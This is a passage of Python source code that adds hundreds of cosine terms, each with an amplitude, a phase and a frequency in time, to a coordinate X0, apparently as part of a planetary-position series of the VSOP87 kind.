X0 += 0.00068915400 * math.cos(5.83470374400 + 4.6972356084 * self.t)
X0 += 0.00040370680 * math.cos(2.66129691063 + 33.9234349964 * self.t)
X0 += 0.00028891307 * math.cos(4.78947715515 + 42.83027124621 * self.t)
X0 += 0.00029247752 * math.cos(1.62319522731 + 72.05647063421 * self.t)
X0 += 0.00025576289 * math.cos(1.48342967006 + 71.5688356672 * self.t)
X0 += 0.00020517968 * math.cos(2.55621077117 + 33.43580002939 * self.t)
X0 += 0.00012614154 * math.cos(3.56929744338 + 113.15845168861 * self.t)
X0 += 0.00012788929 * math.cos(2.73769634046 + 111.67397898031 * self.t)
X0 += 0.00012013477 * math.cos(0.94915799508 + 1059.6257476727 * self.t)
X0 += 0.00009854638 * math.cos(0.25713641240 + 36.404745446 * self.t)
X0 += 0.00008385825 * math.cos(1.65242210861 + 108.2173985967 * self.t)
X0 += 0.00007577585 * math.cos(0.09970777629 + 426.8420083595 * self.t)
X0 += 0.00006452053 * math.cos(4.62556526073 + 6.1817083167 * self.t)
X0 += 0.00006551074 * math.cos(1.91884050790 + 1.24065522479 * self.t)
X0 += 0.00004652534 * math.cos(0.10344003066 + 37.8555882595 * self.t)
X0 += 0.00004732958 * math.cos(4.09711900918 + 79.47883417571 * self.t)
X0 += 0.00004557247 * math.cos(1.09712661798 + 38.89811798311 * self.t)
X0 += 0.00004322550 * math.cos(2.37744779374 + 38.32866901151 * self.t)
X0 += 0.00004315539 * math.cos(5.10473140788 + 38.4250372311 * self.t)
X0 += 0.00004089036 * math.cos(1.99429063701 + 37.4136452748 * self.t)
X0 += 0.00004248658 * math.cos(5.63379709294 + 28.81562556571 * self.t)
X0 += 0.00004622142 * math.cos(2.73995451568 + 70.08436295889 * self.t)
X0 += 0.00003926447 * math.cos(5.48975060892 + 39.34006096781 * self.t)
X0 += 0.00003148422 * math.cos(5.18755364576 + 76.0222537921 * self.t)
X0 += 0.00003940981 * math.cos(2.29766376691 + 98.6561710411 * self.t)
X0 += 0.00003323363 * math.cos(4.68776245279 + 4.4366031775 * self.t)
X0 += 0.00003282964 * math.cos(2.81551282614 + 39.3736908626 * self.t)
X0 += 0.00003110464 * math.cos(1.84416897204 + 47.9380806769 * self.t)
X0 += 0.00002927062 * math.cos(2.83767313961 + 70.5719979259 * self.t)
X0 += 0.00002748919 * math.cos(3.86990252936 + 32.4389622881 * self.t)
X0 += 0.00003316668 * math.cos(1.82194084200 + 144.8659615262 * self.t)
X0 += 0.00002822405 * math.cos(3.78131048254 + 31.9513273211 * self.t)
X0 += 0.00002695972 * math.cos(3.85276301548 + 110.189506272 * self.t)
X0 += 0.00002522990 * math.cos(4.66308619966 + 311.9552664791 * self.t)
X0 += 0.00001888129 * math.cos(3.20464683230 + 35.9291725665 * self.t)
X0 += 0.00001648229 * math.cos(4.07040254381 + 30.300098274 * self.t)
X0 += 0.00001826545 * math.cos(3.58021128918 + 44.31474395451 * self.t)
X0 += 0.00001956241 * math.cos(4.14516146871 + 206.42936592071 * self.t)
X0 += 0.00001681257 * math.cos(4.27560127770 + 40.8245336761 * self.t)
X0 += 0.00001533383 * math.cos(1.17732213608 + 38.26497853671 * self.t)
X0 += 0.00001893076 * math.cos(0.75017402977 + 220.6564599223 * self.t)
X0 += 0.00001527526 * math.cos(0.02173638301 + 38.4887277059 * self.t)
X0 += 0.00002085691 * math.cos(1.56948272604 + 149.8070146181 * self.t)
X0 += 0.00002070612 * math.cos(2.82581806721 + 136.78920667889 * self.t)
X0 += 0.00001535699 * math.cos(0.61413315675 + 73.0533083755 * self.t)
X0 += 0.00001667976 * math.cos(2.91712458990 + 106.73292588839 * self.t)
X0 += 0.00001289620 * math.cos(3.39708861100 + 46.4536079686 * self.t)
X0 += 0.00001559811 * math.cos(0.55870841967 + 38.11622069041 * self.t)
X0 += 0.00001545705 * math.cos(0.64028776037 + 38.6374855522 * self.t)
X0 += 0.00001435033 * math.cos(0.72855949679 + 522.8212355773 * self.t)
X0 += 0.00001406206 * math.cos(3.61717027558 + 537.0483295789 * self.t)
X0 += 0.00001256446 * math.cos(2.70907758736 + 34.1840674273 * self.t)
X0 += 0.00001387973 * math.cos(3.71843398082 + 116.12739710521 * self.t)
X0 += 0.00001457739 * math.cos(1.98981635014 + 181.5145244557 * self.t)
X0 += 0.00001228429 * math.cos(2.78646343835 + 72.31710306511 * self.t)
X0 += 0.00001140665 * math.cos(3.96643713353 + 7.83293736379 * self.t)
X0 += 0.00001080801 * math.cos(4.75483465055 + 42.5696388153 * self.t)
X0 += 0.00001201409 * math.cos(0.74547986507 + 2.7251279331 * self.t)
X0 += 0.00001228671 * math.cos(2.65249731727 + 148.32254190981 * self.t)
X0 += 0.00000722014 * math.cos(6.16806714444 + 152.77596003471 * self.t)
X0 += 0.00000608545 * math.cos(4.49536985567 + 35.4560918145 * self.t)
X0 += 0.00000722865 * math.cos(3.09340262825 + 143.38148881789 * self.t)
X0 += 0.00000632820 * math.cos(3.41702130042 + 7.66618102501 * self.t)
X0 += 0.00000642369 * math.cos(3.97490787694 + 68.5998902506 * self.t)
X0 += 0.00000553789 * math.cos(2.98606728111 + 41.2976144281 * self.t)
X0 += 0.00000682276 * math.cos(2.15806346682 + 218.1630873852 * self.t)
X0 += 0.00000463186 * math.cos(2.74420554348 + 31.7845709823 * self.t)
X0 += 0.00000521560 * math.cos(0.34813640632 + 0.719390363 * self.t)
X0 += 0.00000437892 * math.cos(1.29807722623 + 1589.3167127673 * self.t)
X0 += 0.00000398091 * math.cos(5.50783691510 + 6.3484646555 * self.t)
X0 += 0.00000384065 * math.cos(4.72632236146 + 44.96913526031 * self.t)
X0 += 0.00000395583 * math.cos(5.05527677390 + 108.70503356371 * self.t)
X0 += 0.00000327446 * math.cos(2.69199709491 + 60.52313540329 * self.t)
X0 += 0.00000358824 * math.cos(4.99912098256 + 30.4668546128 * self.t)
X0 += 0.00000315179 * math.cos(0.17468500209 + 74.53778108379 * self.t)
X0 += 0.00000343384 * math.cos(1.74645896957 + 0.7650823453 * self.t)
X0 += 0.00000399611 * math.cos(5.33540800911 + 31.2633061205 * self.t)
X0 += 0.00000314611 * math.cos(2.98803024638 + 419.72846135871 * self.t)
X0 += 0.00000347596 * math.cos(3.26643963659 + 180.03005174739 * self.t)
X0 += 0.00000382279 * math.cos(0.21764578681 + 487.1213262793 * self.t)
X0 += 0.00000300918 * math.cos(4.04922612099 + 69.0875252176 * self.t)
X0 += 0.00000340448 * math.cos(3.90546849629 + 146.8380692015 * self.t)
X0 += 0.00000298710 * math.cos(5.18013539651 + 84.5866436064 * self.t)
X0 += 0.00000290629 * math.cos(1.74873675275 + 110.45013870291 * self.t)
X0 += 0.00000336211 * math.cos(2.14815098729 + 45.49040012211 * self.t)
X0 += 0.00000305606 * math.cos(5.63265481978 + 640.1411037975 * self.t)
X0 += 0.00000333702 * math.cos(2.32938316969 + 254.8116503147 * self.t)
X0 += 0.00000268060 * math.cos(3.30852201658 + 37.0042549976 * self.t)
X0 += 0.00000264760 * math.cos(4.12724058864 + 39.749451245 * self.t)
X0 += 0.00000315240 * math.cos(2.72241788492 + 388.70897272171 * self.t)
X0 += 0.00000227098 * math.cos(4.59157281152 + 273.8222308413 * self.t)
X0 += 0.00000306112 * math.cos(1.75345186469 + 6283.3196674749 * self.t)
X0 += 0.00000284373 * math.cos(3.36139825385 + 12.77399045571 * self.t)
X0 += 0.00000221105 * math.cos(3.50940363876 + 213.0552779545 * self.t)
X0 += 0.00000242568 * math.cos(2.06437650010 + 14.258463164 * self.t)
X0 += 0.00000241087 * math.cos(4.16115355874 + 105.2484531801 * self.t)
X0 += 0.00000226136 * math.cos(2.83815938853 + 80.963306884 * self.t)
X0 += 0.00000245904 * math.cos(0.54462524204 + 27.3311528574 * self.t)
X0 += 0.00000265825 * math.cos(4.10952660358 + 944.7390057923 * self.t)
X0 += 0.00000207893 * math.cos(5.07812851336 + 30.95448957981 * self.t)
X0 += 0.00000214661 * math.cos(2.65402494691 + 316.6356871401 * self.t)
X0 += 0.00000190638 * math.cos(2.32667703756 + 69.3963417583 * self.t)
X0 += 0.00000246295 * math.cos(1.98638488517 + 102.84895673509 * self.t)
X0 += 0.00000202915 * math.cos(0.60029260077 + 415.04804069769 * self.t)
X0 += 0.00000176465 * math.cos(0.14731292877 + 36.7805058284 * self.t)
X0 += 0.00000193886 * math.cos(3.35476299352 + 174.9222423167 * self.t)
X0 += 0.00000175209 * math.cos(1.12575693515 + 39.97320041421 * self.t)
X0 += 0.00000177868 * math.cos(3.43923391414 + 216.67861467689 * self.t)
X0 += 0.00000138494 * math.cos(5.45265920432 + 75.98862389731 * self.t)
X0 += 0.00000152234 * math.cos(4.81662104772 + 11.2895177474 * self.t)
X0 += 0.00000147648 * math.cos(1.68543706672 + 151.2914873264 * self.t)
X0 += 0.00000156202 * math.cos(3.65252575052 + 146.3504342345 * self.t)
X0 += 0.00000152289 * math.cos(0.07345728764 + 23.87457247379 * self.t)
X0 += 0.00000177911 * math.cos(3.17643554721 + 10213.5293636945 * self.t)
X0 += 0.00000162474 * math.cos(4.13351391379 + 63.9797157869 * self.t)
X0 += 0.00000121226 * math.cos(5.10584286197 + 38.16440480021 * self.t)
X0 += 0.00000129049 * math.cos(3.80684906955 + 37.1048287341 * self.t)
X0 += 0.00000120334 * math.cos(2.37637214462 + 38.5893014424 * self.t)
X0 += 0.00000168977 * math.cos(2.49551838497 + 291.4602132442 * self.t)
X0 += 0.00000121138 * math.cos(1.49657109299 + 33.26904369061 * self.t)
X0 += 0.00000129366 * math.cos(2.36903010922 + 45.7992166628 * self.t)
X0 += 0.00000144682 * math.cos(0.63023431786 + 49.42255338521 * self.t)
X0 += 0.00000122915 * math.cos(3.67433526761 + 39.6488775085 * self.t)
X0 += 0.00000113400 * math.cos(0.42160185021 + 83.1021708981 * self.t)
X0 += 0.00000154892 * math.cos(1.74989069653 + 77.4730966056 * self.t)
X0 += 0.00000106737 * math.cos(0.57437068095 + 4.8639919472 * self.t)
X0 += 0.00000104756 * math.cos(5.96272070512 + 43.484662552 * self.t)
X0 += 0.00000125142 * math.cos(5.82780261996 + 4.2096006414 * self.t)
X0 += 0.00000103541 * math.cos(5.25634741505 + 41.08516610701 * self.t)
X0 += 0.00000133573 * math.cos(3.92147215781 + 182.998997164 * self.t)
X0 += 0.00000103627 * math.cos(2.29256111601 + 35.6685401356 * self.t)
X0 += 0.00000116874 * math.cos(5.41378396536 + 62.4952430786 * self.t)
X0 += 0.00000098063 * math.cos(3.25654027665 + 9.8050450391 * self.t)
X0 += 0.00000111411 * math.cos(4.34345309647 + 141.8970161096 * self.t)
X0 += 0.00000114294 * math.cos(5.56228935636 + 633.0275567967 * self.t)
X0 += 0.00000104705 * math.cos(6.26072139356 + 433.9555553603 * self.t)
X0 += 0.00000121306 * math.cos(1.44892345337 + 40.8581635709 * self.t)
X0 += 0.00000096954 * math.cos(6.17373469303 + 1052.51220067191 * self.t)
X0 += 0.00000085104 * math.cos(4.79018222360 + 36.6799320919 * self.t)
X0 += 0.00000085209 * math.cos(5.94497188324 + 105.76971804189 * self.t)
X0 += 0.00000085291 * math.cos(2.59495207397 + 109.701871305 * self.t)
X0 += 0.00000083260 * math.cos(0.00625676877 + 529.44714761109 * self.t)
X0 += 0.00000080200 * math.cos(2.69199769694 + 40.07377415071 * self.t)
X0 += 0.00000107927 * math.cos(0.01570870082 + 1162.7185218913 * self.t)
X0 += 0.00000095241 * math.cos(3.61102256601 + 253.32717760639 * self.t)
X0 += 0.00000089535 * math.cos(3.25178384851 + 32.9602271499 * self.t)
X0 += 0.00000089793 * math.cos(2.76430560225 + 65.46418849521 * self.t)
X0 += 0.00000072027 * math.cos(0.11366576076 + 36.9405645228 * self.t)
X0 += 0.00000080381 * math.cos(5.21057317852 + 67.1154175423 * self.t)
X0 += 0.00000099502 * math.cos(2.53010647936 + 453.1810763355 * self.t)
X0 += 0.00000088685 * math.cos(1.33848394125 + 251.6759485593 * self.t)
X0 += 0.00000094971 * math.cos(4.11602347578 + 219.6475600935 * self.t)
X0 += 0.00000077015 * math.cos(5.30660266172 + 5.6604434549 * self.t)
X0 += 0.00000069098 * math.cos(1.84984192453 + 22.3900997655 * self.t)
X0 += 0.00000079079 * math.cos(4.12824954018 + 44.48150029329 * self.t)
X0 += 0.00000069159 * math.cos(3.95901333551 + 1066.7392946735 * self.t)
X0 += 0.00000064446 * math.cos(4.03076164648 + 66.9486612035 * self.t)
X0 += 0.00000088518 * math.cos(2.66179796694 + 328.1087761737 * self.t)
X0 += 0.00000065817 * math.cos(1.42821476263 + 36.3711155512 * self.t)
X0 += 0.00000071422 * math.cos(4.23104971231 + 43.79347909271 * self.t)
X0 += 0.00000063298 * math.cos(2.21146718451 + 9.1506537333 * self.t)
X0 += 0.00000077320 * math.cos(0.26842720811 + 97.17169833279 * self.t)
X0 += 0.00000073912 * math.cos(1.72397638430 + 2.6769438233 * self.t)
X0 += 0.00000073965 * math.cos(5.55809543248 + 2.9521304692 * self.t)
X0 += 0.00000056194 * math.cos(4.45857439361 + 949.4194264533 * self.t)
X0 += 0.00000059173 * math.cos(1.41372632607 + 100.14064374939 * self.t)
X0 += 0.00000067507 * math.cos(3.94700376513 + 7.14491616321 * self.t)
X0 += 0.00000071718 * math.cos(0.93392607299 + 2.20386307129 * self.t)
X0 += 0.00000063606 * math.cos(5.17175542607 + 25.8466801491 * self.t)
X0 += 0.00000071523 * math.cos(2.05830478088 + 662.28738607949 * self.t)
X0 += 0.00000057219 * math.cos(0.88485013288 + 15.7429358723 * self.t)
X0 += 0.00000050322 * math.cos(1.08310288762 + 37.15301284391 * self.t)
X0 += 0.00000066615 * math.cos(3.42462264660 + 846.3266522347 * self.t)
X0 += 0.00000056220 * math.cos(4.52386924168 + 178.5455790391 * self.t)
X0 += 0.00000067883 * math.cos(3.88546727303 + 224.5886131854 * self.t)
X0 += 0.00000057761 * math.cos(5.16493680948 + 145.35359649321 * self.t)
X0 += 0.00000053973 * math.cos(6.25404762289 + 107.2205608554 * self.t)
X0 += 0.00000057588 * math.cos(4.84839311245 + 25.3590451821 * self.t)
X0 += 0.00000049026 * math.cos(1.27836371915 + 19.2543980101 * self.t)
X0 += 0.00000063036 * math.cos(4.29760573349 + 256.296123023 * self.t)
X0 += 0.00000045304 * math.cos(0.86492921312 + 4.1759707466 * self.t)
X0 += 0.00000045669 * math.cos(2.17547535945 + 117.6118698135 * self.t)
X0 += 0.00000052821 * math.cos(3.77933473571 + 289.97574053589 * self.t)
X0 += 0.00000044016 * math.cos(2.25498623278 + 32.7477788288 * self.t)
X0 += 0.00000042933 * math.cos(6.21504221321 + 28.98238190449 * self.t)
X0 += 0.00000038369 * math.cos(0.36602717013 + 39.6006933987 * self.t)
X0 += 0.00000038805 * math.cos(4.12403932769 + 103.3365917021 * self.t)
X0 += 0.00000037679 * math.cos(3.40097359574 + 9.3174100721 * self.t)
X0 += 0.00000040292 * math.cos(6.03933270535 + 111.18634401329 * self.t)
X0 += 0.00000050011 * math.cos(6.19966711969 + 221.61966776881 * self.t)
X0 += 0.00000037056 * math.cos(4.63008749202 + 8.32057233081 * self.t)
X0 += 0.00000036562 * math.cos(0.18548635975 + 448.98829064149 * self.t)
X0 += 0.00000044628 * math.cos(3.82762130859 + 525.2543619171 * self.t)
X0 += 0.00000038213 * math.cos(0.28030378709 + 75.54668091261 * self.t)
X0 += 0.00000045963 * math.cos(4.06403723861 + 183.486632131 * self.t)
X0 += 0.00000048222 * math.cos(2.81328685847 + 364.7573391032 * self.t)
X0 += 0.00000038164 * math.cos(5.23367149002 + 44.00592741381 * self.t)
X0 += 0.00000047779 * math.cos(6.19272750750 + 3340.8562441833 * self.t)
X0 += 0.00000042228 * math.cos(5.64690940917 + 77.0311536209 * self.t)
X0 += 0.00000035247 * math.cos(0.20766845689 + 34.7535163989 * self.t)
X0 += 0.00000046804 * math.cos(3.96902162832 + 33.6964324603 * self.t)
X0 += 0.00000034352 * math.cos(1.08289070011 + 33.71098667531 * self.t)
X0 += 0.00000034949 * math.cos(2.01384094499 + 3.37951923889 * self.t)
X0 += 0.00000036030 * math.cos(2.17275904548 + 71.09326278771 * self.t)
X0 += 0.00000038112 * math.cos(5.65470955047 + 45.9659730016 * self.t)
X0 += 0.00000033119 * math.cos(5.27794057043 + 7.3573644843 * self.t)
X0 += 0.00000032049 * math.cos(4.61840704188 + 34.44469985821 * self.t)
X0 += 0.00000031910 * math.cos(1.77890975693 + 81.61769818981 * self.t)
X0 += 0.00000038697 * math.cos(2.66910057126 + 184.97110483931 * self.t)
X0 += 0.00000041486 * math.cos(2.58550378076 + 310.4707937708 * self.t)
X0 += 0.00000038631 * math.cos(2.31715796823 + 50.9070260935 * self.t)
X0 += 0.00000042711 * math.cos(2.19232104972 + 1021.49271203491 * self.t)
X0 += 0.00000032006 * math.cos(0.97590559431 + 42.00018984371 * self.t)
X0 += 0.00000038436 * math.cos(0.31352578874 + 5.92107588581 * self.t)
X0 += 0.00000038880 * math.cos(3.29381198979 + 76.55807286891 * self.t)
X0 += 0.00000041190 * math.cos(4.58002024645 + 563.87503252191 * self.t)
X0 += 0.00000029786 * math.cos(1.00565266044 + 77.5067265004 * self.t)
X0 += 0.00000040604 * math.cos(4.47511985144 + 292.9446859525 * self.t)
X0 += 0.00000035275 * math.cos(1.67517293934 + 304.84171947829 * self.t)
X0 += 0.00000038242 * math.cos(2.80091349300 + 17.76992530181 * self.t)
X0 += 0.00000034445 * math.cos(4.48124108827 + 319.06881347989 * self.t)
X0 += 0.00000028725 * math.cos(5.51593817617 + 67.6366824041 * self.t)
X0 += 0.00000032809 * math.cos(5.57900930431 + 91.54262404029 * self.t)
X0 += 0.00000038880 * math.cos(0.56654650956 + 76.4617046493 * self.t)
X0 += 0.00000030731 * math.cos(5.22467991145 + 67.60305250931 * self.t)
X0 += 0.00000028459 * math.cos(0.11298908847 + 43.0427195673 * self.t)
X0 += 0.00000035368 * math.cos(3.56936550095 + 313.43973918739 * self.t)
X0 += 0.00000035703 * math.cos(0.06787236157 + 258.26823069831 * self.t)
X0 += 0.00000032317 * math.cos(2.30071476395 + 78.9575693139 * self.t)
X0 += 0.00000029243 * math.cos(0.30724049567 + 61.01077037031 * self.t)
X0 += 0.00000026235 * math.cos(3.88058959053 + 137.2768416459 * self.t)
X0 += 0.00000026519 * math.cos(6.20266742881 + 57.4993082325 * self.t)
X0 += 0.00000024931 * math.cos(5.73688334159 + 42.997027585 * self.t)
X0 += 0.00000027608 * math.cos(5.39681935370 + 103.7639804718 * self.t)
X0 += 0.00000028680 * math.cos(4.65490114562 + 215.1941419686 * self.t)
X0 += 0.00000025052 * math.cos(5.70195779765 + 350.08830211689 * self.t)
X0 += 0.00000031386 * math.cos(4.10756442698 + 22.22334342671 * self.t)
X0 += 0.00000027545 * math.cos(1.30787829275 + 100.6282787164 * self.t)
X0 += 0.00000022617 * math.cos(3.46251776435 + 36.8441963032 * self.t)
X0 += 0.00000024909 * math.cos(0.20851017271 + 24.36220744081 * self.t)
X0 += 0.00000026216 * math.cos(4.94808817995 + 491.8017469403 * self.t)
X0 += 0.00000028040 * math.cos(2.83295165264 + 11.55015017831 * self.t)
X0 += 0.00000023047 * math.cos(4.24570423583 + 35.51978228931 * self.t)
X0 += 0.00000027067 * math.cos(3.95547247738 + 326.62430346539 * self.t)
X0 += 0.00000026192 * math.cos(2.35959813381 + 20.7388707184 * self.t)
X0 += 0.00000023134 * math.cos(2.59485537406 + 68.4331339118 * self.t)
X0 += 0.00000021423 * math.cos(0.87822750255 + 39.90950993941 * self.t)
X0 += 0.00000025696 * math.cos(0.32414101638 + 186.4555775476 * self.t)
X0 += 0.00000026985 * math.cos(3.53264939991 + 69.6087900794 * self.t)
X0 += 0.00000023284 * math.cos(2.71588030137 + 79.43065006591 * self.t)
X0 += 0.00000022894 * math.cos(0.61847067768 + 227.77000692311 * self.t)
X0 += 0.00000022482 * math.cos(0.72349596890 + 39.8131417198 * self.t)
X0 += 0.00000023480 * math.cos(4.39643703557 + 30.9881194746 * self.t)
X0 += 0.00000020858 * math.cos(3.23577429095 + 41.2339239533 * self.t)
X0 += 0.00000020327 * math.cos(1.15567976096 + 39.0312444271 * self.t)
X0 += 0.00000020327 * math.cos(0.04331485179 + 37.72246181551 * self.t)
X0 += 0.00000022639 * math.cos(0.21515321589 + 0.9800227939 * self.t)
X0 += 0.00000022639 * math.cos(0.21515321589 + 1.46765776091 * self.t)
X0 += 0.00000019139 * math.cos(0.03506366059 + 205.9417309537 * self.t)
X0 += 0.00000019118 * math.cos(1.62564867989 + 2119.00767786191 * self.t)
X0 += 0.00000025698 * math.cos(2.97643019475 + 401.4059020327 * self.t)
X0 += 0.00000021582 * math.cos(4.29532713983 + 81.13006322279 * self.t)
X0 += 0.00000025509 * math.cos(4.64829559110 + 329.593248882 * self.t)
X0 += 0.00000024296 * math.cos(2.11682013072 + 62.0076081116 * self.t)
X0 += 0.00000023969 * math.cos(0.88887585882 + 135.3047339706 * self.t)
X0 += 0.00000020599 * math.cos(4.51946091131 + 491.3141119733 * self.t)
X0 += 0.00000016829 * math.cos(5.63589438225 + 3.1645787903 * self.t)
X0 += 0.00000020030 * math.cos(4.02146628228 + 217.4750661846 * self.t)
X0 += 0.00000020377 * math.cos(0.89378346451 + 209.6107596584 * self.t)
X0 += 0.00000017251 * math.cos(2.57319624936 + 350.5759370839 * self.t)
X0 += 0.00000019625 * math.cos(6.12382765898 + 129.6756596781 * self.t)
X0 += 0.00000022707 * math.cos(5.69106089810 + 1436.2969352491 * self.t)
X0 += 0.00000017142 * math.cos(0.00501932570 + 29.4700168715 * self.t)
X0 += 0.00000016188 * math.cos(4.90861200887 + 39.00999256771 * self.t)
X0 += 0.00000016188 * math.cos(2.57356791106 + 37.7437136749 * self.t)
X0 += 0.00000020858 * math.cos(4.67505024087 + 58.9837809408 * self.t)
X0 += 0.00000015747 * math.cos(1.88900821622 + 154.260432743 * self.t)
X0 += 0.00000019714 * math.cos(0.33238117487 + 294.91679362781 * self.t)
X0 += 0.00000019078 * math.cos(2.73754913300 + 202.4972126576 * self.t)
X0 += 0.00000021530 * math.cos(3.37996249680 + 114.1552894299 * self.t)
X0 += 0.00000019068 * math.cos(1.82733694293 + 138.2736793872 * self.t)
X0 += 0.00000018723 * math.cos(6.21404671018 + 323.74923414091 * self.t)
X0 += 0.00000018916 * math.cos(5.47002080885 + 40.3825906914 * self.t)
X0 += 0.00000015843 * math.cos(0.27660393480 + 72.577735496 * self.t)
X0 += 0.00000020695 * math.cos(5.32080415125 + 86.07111631471 * self.t)
X0 += 0.00000015895 * math.cos(5.73200518668 + 736.1203310153 * self.t)
X0 += 0.00000014983 * math.cos(2.13549071268 + 743.23387801611 * self.t)
X0 += 0.00000014928 * math.cos(0.78464963633 + 34.23225153711 * self.t)
X0 += 0.00000015461 * math.cos(6.04598420333 + 20.850745303 * self.t)
X0 += 0.00000016206 * math.cos(6.05974800797 + 138.76131435421 * self.t)
X0 += 0.00000015978 * math.cos(0.85734083354 + 515.70768857651 * self.t)
X0 += 0.00000014173 * math.cos(2.99587831656 + 99.1438060081 * self.t)
X0 += 0.00000018749 * math.cos(3.37545937432 + 54.5303628159 * self.t)
X0 += 0.00000013971 * math.cos(5.11256155147 + 76.77052119001 * self.t)
X0 += 0.00000013971 * math.cos(5.03098185419 + 76.2492563282 * self.t)
X0 += 0.00000014035 * math.cos(4.45768361334 + 235.68919520349 * self.t)
X0 += 0.00000018894 * math.cos(4.59865824553 + 31.4757544416 * self.t)
X0 += 0.00000014967 * math.cos(0.97104009185 + 52.3914988018 * self.t)
X0 += 0.00000017392 * math.cos(1.69348450373 + 74.0622082043 * self.t)
X0 += 0.00000014788 * math.cos(5.00944229014 + 56.01483552421 * self.t)
X0 += 0.00000015758 * math.cos(5.97423795440 + 208.8624922605 * self.t)
X0 += 0.00000012911 * math.cos(0.41434497695 + 42.5214547055 * self.t)
X0 += 0.00000014356 * math.cos(4.89778066710 + 251.8427048981 * self.t)
X0 += 0.00000016266 * math.cos(4.96350311575 + 853.4401992355 * self.t)
X0 += 0.00000015513 * math.cos(1.02523907534 + 59.038662695 * self.t)
X0 += 0.00000012783 * math.cos(2.34267333656 + 107.52937739611 * self.t)
X0 += 0.00000016075 * math.cos(4.73335524561 + 366.24181181149 * self.t)
X0 += 0.00000014277 * math.cos(4.88488299527 + 19.36627259471 * self.t)
X0 += 0.00000014742 * math.cos(1.55115458505 + 82.4477795923 * self.t)
X0 += 0.00000015111 * math.cos(4.13629021798 + 363.27286639489 * self.t)
X0 += 0.00000014981 * math.cos(5.88358063018 + 82.6145359311 * self.t)
X0 += 0.00000014840 * math.cos(0.62836299110 + 44.0541115236 * self.t)
X0 += 0.00000015592 * math.cos(1.03195525294 + 8.6293888715 * self.t)
X0 += 0.00000014568 * math.cos(2.02105422692 + 73.80157577341 * self.t)
X0 += 0.00000012251 * math.cos(1.18824225128 + 47.28368937111 * self.t)
X0 += 0.00000011447 * math.cos(0.91374266731 + 175.40987728371 * self.t)
X0 += 0.00000013900 * math.cos(5.64591952885 + 700.4204217173 * self.t)
X0 += 0.00000015583 * math.cos(3.88966860773 + 837.4534458797 * self.t)
X0 += 0.00000012109 * math.cos(2.10142517621 + 33.0084112597 * self.t)
X0 += 0.00000012379 * math.cos(5.59016916358 + 140.4125434013 * self.t)
X0 += 0.00000011481 * math.cos(5.22670638349 + 39.2069345238 * self.t)
X0 += 0.00000011481 * math.cos(2.25547353643 + 37.54677171881 * self.t)
X0 += 0.00000011452 * math.cos(1.21111994028 + 529.4135177163 * self.t)
X0 += 0.00000010981 * math.cos(0.01852111423 + 63.49208081989 * self.t)
X0 += 0.00000012137 * math.cos(2.33017731448 + 42.3090063844 * self.t)
X0 += 0.00000013771 * math.cos(4.49397894473 + 76.62176334371 * self.t)
X0 += 0.00000011036 * math.cos(3.16457889057 + 530.45604743991 * self.t)
X0 += 0.00000011537 * math.cos(4.29449656032 + 199.3158189199 * self.t)
X0 += 0.00000011189 * math.cos(3.24467764115 + 80.1332254815 * self.t)
X0 += 0.00000012835 * math.cos(1.26831311464 + 38.85242600079 * self.t)
X0 += 0.00000012879 * math.cos(4.74400685998 + 5.69407334969 * self.t)
X0 += 0.00000013663 * math.cos(3.12818073078 + 438.0544649622 * self.t)
X0 += 0.00000010132 * math.cos(4.37559264666 + 187.9400502559 * self.t)
X0 += 0.00000012619 * math.cos(4.66177013386 + 65.2035560643 * self.t)
X0 += 0.00000010088 * math.cos(6.12382762451 + 26.58288545949 * self.t)
X0 += 0.00000011959 * math.cos(5.90953104234 + 64.7159210973 * self.t)
X0 += 0.00000011578 * math.cos(4.24710384177 + 275.3067035496 * self.t)
X0 += 0.00000012795 * math.cos(3.23836197733 + 17.8817998864 * self.t)
X0 += 0.00000013771 * math.cos(5.64956481971 + 76.3980141745 * self.t)
X0 += 0.00000010044 * math.cos(0.10145082472 + 147.83490694279 * self.t)
X0 += 0.00000013632 * math.cos(2.86683446064 + 45.277951801 * self.t)
X0 += 0.00000011660 * math.cos(2.65801239040 + 143.9027536797 * self.t)
X0 += 0.00000009938 * math.cos(4.21970476320 + 6.86972951729 * self.t)
X0 += 0.00000009719 * math.cos(6.05786462616 + 956.53297345411 * self.t)
X0 += 0.00000011441 * math.cos(0.61314587598 + 533.8669358412 * self.t)
X0 += 0.00000010240 * math.cos(2.91846731922 + 80.7026744531 * self.t)
X0 += 0.00000010031 * math.cos(5.38075474506 + 43.74529498291 * self.t)
X0 += 0.00000010063 * math.cos(5.77064020369 + 0.27744737829 * self.t)
X0 += 0.00000011428 * math.cos(3.77013145660 + 526.00262931501 * self.t)
X0 += 0.00000009279 * math.cos(6.16721103485 + 79.6455905145 * self.t)
X0 += 0.00000010172 * math.cos(2.46540726742 + 568.0678182159 * self.t)
X0 += 0.00000009198 * math.cos(5.07759437389 + 112.6708167216 * self.t)
X0 += 0.00000009831 * math.cos(2.49002547943 + 20.9056270572 * self.t)
X0 += 0.00000009830 * math.cos(3.51040521049 + 544.1618765797 * self.t)
X0 += 0.00000008646 * math.cos(4.49185896918 + 30.7756711535 * self.t)
X0 += 0.00000009315 * math.cos(0.15689765715 + 65.63094483399 * self.t)
X0 += 0.00000009201 * math.cos(0.09219461091 + 184.48346987229 * self.t)
X0 += 0.00000008674 * math.cos(2.01170720350 + 624.1543504417 * self.t)
X0 += 0.00000010739 * math.cos(0.49719235939 + 331.56535655731 * self.t)
X0 += 0.00000009612 * math.cos(5.38629260665 + 182.00215942271 * self.t)
X0 += 0.00000008664 * math.cos(5.62437013922 + 1479.11039154791 * self.t)
X0 += 0.00000008092 * math.cos(5.65922856578 + 6.8360996225 * self.t)
X0 += 0.00000010092 * math.cos(4.71596617075 + 419.2408263917 * self.t)
X0 += 0.00000010233 * math.cos(4.88231209018 + 402.89037474099 * self.t)
X0 += 0.00000008502 * math.cos(2.03567120581 + 17.39416491939 * self.t)
X0 += 0.00000010189 * math.cos(2.58985636739 + 21.7020785649 * self.t)
X0 += 0.00000009829 * math.cos(5.23644081358 + 121.2352065359 * self.t)
X0 += 0.00000008406 * math.cos(2.47191018350 + 376.9150050599 * self.t)
X0 += 0.00000008060 * math.cos(5.62304271115 + 415.7963080956 * self.t)
X0 += 0.00000009455 * math.cos(0.06796991442 + 167.80869531589 * self.t)
X0 += 0.00000007941 * math.cos(1.43287391293 + 526.7533888404 * self.t)
X0 += 0.00000007870 * math.cos(2.90339733997 + 533.1161763158 * self.t)
X0 += 0.00000007695 * math.cos(0.92731028198 + 906.60597015449 * self.t)
X0 += 0.00000007862 * math.cos(0.91484097138 + 1265.81129610991 * self.t)
X0 += 0.00000008062 * math.cos(1.12885573257 + 105.7360881471 * self.t)
